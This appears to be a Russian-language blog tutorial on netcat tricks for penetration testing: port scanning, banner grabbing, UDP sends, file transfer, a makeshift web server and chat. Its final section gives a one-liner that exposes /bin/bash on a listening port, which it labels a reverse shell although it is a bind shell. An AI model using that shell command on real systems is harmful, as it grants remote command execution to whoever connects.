![image](https://habrastorage.org/getpro/habr/post_images/31d/a34/37d/31da3437d1ee391bf1bddb81a1c147ee.jpg)
В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней.
Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.
С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.
Что можно сделать с помощью netcat:
- Сканировать порты;
- Перенаправлять порты;
- Производить сбор баннеров сервисов;
- Слушать порт (биндить для обратного соединения);
- Скачивать и закачивать файлы;
- Выводить содержимое raw HTTP;
- Создать мини-чат.
Вообще с помощью netcat можно заменить часть unix утилит, поэтому этот инструмент можно считать неким комбайном для выполнения тех или иных задач.
Практические примеры
Во многих случаях при необходимости проверки того или иного хоста используют телнет, либо собственные сервисные службы для выявления хоста или баннера. Как нам может помочь netcat:
Проверка наличия открытого TCP-порта 12345
$ nc -vn 192.168.1.100 12345
nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused
$ nc -v 192.168.1.100 22
Connection to 192.168.1.100 22 port [tcp/ssh] succeeded!
SSH-2.0-OpenSSH
Сканирование TCP-портов с помощью netcat:
$ nc -vnz 192.168.1.100 20-24
При таком сканировании не будет соединение с портом, а только вывод успешного соединения:
nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
found 0 associations
found 1 connections:
1: flags=82<CONNECTED,PREFERRED>
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info not available
TCP aux info available
Connection to 192.168.1.100 port 22 [tcp/*] succeeded!
nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refused
Сканирование UDP-портов.
Для сканирования UDP портов с помощью nmap необходимы root привилегии. Если их нет — в этом случае нам тоже может помочь утилита netcat:
$ nc -vnzu 192.168.1.100 5550-5560
Connection to 192.168.1.100 port 5555 [udp/*] succeeded!
Отправка UDP-пакета
$ echo -n "foo" | nc -u -w1 192.168.1.100 161
Это может быть полезно при взаимодействии с сетевыми устройствами.
Прием данных на UDP-порту и вывод принятых данных
$ nc -u localhost 7777
После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:
$ while true; do nc -u localhost 7777; done
Передача файлов. С помощью netcat можно как получать файлы, так и передавать на удаленный хост:
nc 192.168.1.100 5555 < 1.txt
nc -lvp 5555 > /tmp/1.txt
Netcact в роли простейшего веб-сервера.
Netcat может выполнять роль простейшего веб-сервера для отображения html странички.
$ while true; do nc -lp 8888 < index.html; done
C помощью браузера по адресу: http://хост netcat:8888/index.html. Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:
$ while true; do sudo nc -lp 80 < test.html; done
Чат между узлами
На первом узле (192.168.1.100):
$ nc -lp 9000
На втором узле:
$ nc 192.168.1.100 9000
После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.
Реверс-шелл
С помощью netcat можно организовать удобный реверс-шелл:
nc -e /bin/bash -lp 4444
Теперь можно соединиться с удаленного узла:
$ nc 192.168.1.100 4444
Не стоит опускать руки, если нет тех или иных инструментов, зачастую довольно громоздких, иногда задачу можно решить подручными средствами.